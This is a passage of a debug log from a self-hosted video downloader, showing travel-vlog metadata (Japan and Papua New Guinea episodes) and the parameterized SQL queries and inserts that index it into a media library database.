s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 18:59:30.602 [debug] Current batch of media processed. Will check again in 1000ms 18:59:31.603 [debug] Current batch of media processed. Will check again in 1000ms 18:59:32.604 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 18:59:32.605 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=822.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:32.605 [debug] QUERY OK source="sources" db=0.1ms idle=822.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:32.605 [debug] QUERY OK source="media_items" db=0.3ms idle=823.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 18:59:32.607 [debug] QUERY OK source="media_items" db=1.0ms idle=823.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "73302baa-d502-4dab-86db-c4357c387b49", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 01:59:32Z], ~U[2026-08-20 01:59:32Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 18:59:32.607 [debug] QUERY OK source="sources" db=0.1ms idle=45.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:32.608 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:32.608 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 18:59:32.608 [debug] Current batch of media processed. Will check again in 1000ms 18:59:33.609 [debug] Current batch of media processed. Will check again in 1000ms 18:59:34.610 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 18:59:34.611 [debug] QUERY OK source="sources" db=0.3ms idle=828.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:34.611 [debug] QUERY OK source="sources" db=0.1ms idle=829.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:34.612 [debug] QUERY OK source="media_items" db=0.2ms idle=829.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 18:59:34.613 [debug] QUERY OK source="media_items" db=0.6ms idle=830.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "2129625c-6631-487e-bc1f-8ddda0396e69", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 01:59:34Z], ~U[2026-08-20 01:59:34Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 18:59:34.613 [debug] QUERY OK source="sources" db=0.1ms idle=48.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:34.613 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:34.614 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 18:59:34.614 [debug] Current batch of media processed. Will check again in 1000ms 18:59:35.615 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 18:59:35.616 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:35.616 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:35.617 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 18:59:35.618 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "c75d1f5f-d942-4b59-a973-1d1cecba0d0a", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 01:59:35Z], ~U[2026-08-20 01:59:35Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 18:59:35.618 [debug] QUERY OK source="sources" db=0.2ms idle=52.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:35.619 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:35.619 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 18:59:35.620 [debug] Current batch of media processed. Will check again in 1000ms 18:59:36.620 [debug] Current batch of media processed. Will check again in 1000ms 18:59:37.621 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 18:59:37.622 [debug] QUERY OK source="sources" db=0.3ms idle=839.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:37.622 [debug] QUERY OK source="sources" db=0.2ms idle=840.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:37.623 [debug] QUERY OK source="media_items" db=0.3ms idle=840.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 18:59:37.624 [debug] QUERY OK source="media_items" db=0.8ms idle=841.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") 